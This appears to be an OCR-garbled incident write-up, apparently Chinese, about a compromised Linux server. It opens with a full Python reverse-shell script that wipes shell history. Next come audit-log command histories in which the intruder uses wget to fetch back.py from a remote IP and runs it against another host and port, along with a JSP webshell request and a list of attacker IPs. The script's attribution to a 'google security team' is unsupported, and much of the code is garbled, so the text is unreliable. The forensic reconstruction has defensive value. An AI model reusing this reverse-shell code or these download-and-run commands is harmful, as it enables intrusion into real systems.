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# -*- coding:utf-8 -*-

#!/usr/bin/env python

back connect py version,only linux have pty module
code by google security team

import sys,os,socket,pty

shell = "/bin/sh"

def usage(name):

print 'python reverse connector'

print 'usage: %s <ip_addr> <port>' % name
def main():

if len(sys.argv) !=3:

usage(sys.argv[o])

sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1l],int(sys.argv[2])))
print 'connect ok’

except:

print 'connect faild'

sys.exit()

os.dup2(s.fileno(),9)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

global shell

os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE","'/dev/null")
os.putenv("HISTSIZE",'0")
os.putenv("HISTFILESIZE",'@")
pty.spawn(shell)
s.close()

if _name__ == '_main__':

main()
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cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a@=.*" | sed "s/a[@-9]=//g" | sed "s/\"//g" | unigq
whoami

1s -al

ping -c 3 www.baidu.com

bash -i > (bashRIEEANKEHE K &R KA URLAMIGE T BB A HATEI))

/bin/bash -i >

wget http://162.247.97.195/223.txt -0 123.jsp

1s -al
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cat /var/log/audit/audit.log | grep EXECVE | egrep -o "a@=.*" | sed "s/a[@-9]=//g" | sed "s/\"//g" | unigq
1s -al
wget 43.229.213.219/backs/back.py

1s -al

wget

wget http://43.229.213.219/backs/back.py
pwd

wget http://43.229.213.219/backs/back.py
1s -al

1s -al /root

id

1s -al /tmp

wget http://43.229.213.219/backs/back.py -0 /tmp/1.py
1s -al /tmp/1l.py

1s -al /var/tmp

1s -al /tmp

python /tmp/1l.py 103.224.248.18 1555

pwd

ps -aux

last

ping -c 4 192.168.192.75

ping -c 4 192.168.190.249

%t H8 % Auditd Log

type=EXECVE msg=audit(1532430757.519:892862): argc=3 al®="1s" al="-al" a2="/tmp"
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18 Z&Nginx Accesslog

cat /tmp/1 | grep '19:12:37'
66.42.53.201 - - [24/Jul/2018:19:12:37 +0800] "GET /upload/avatar/35364 big.jsp?pwd=023&i=1s%20-al1%20/tmp H
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66.42.53.201
27.102.112.62
149.28.148.146
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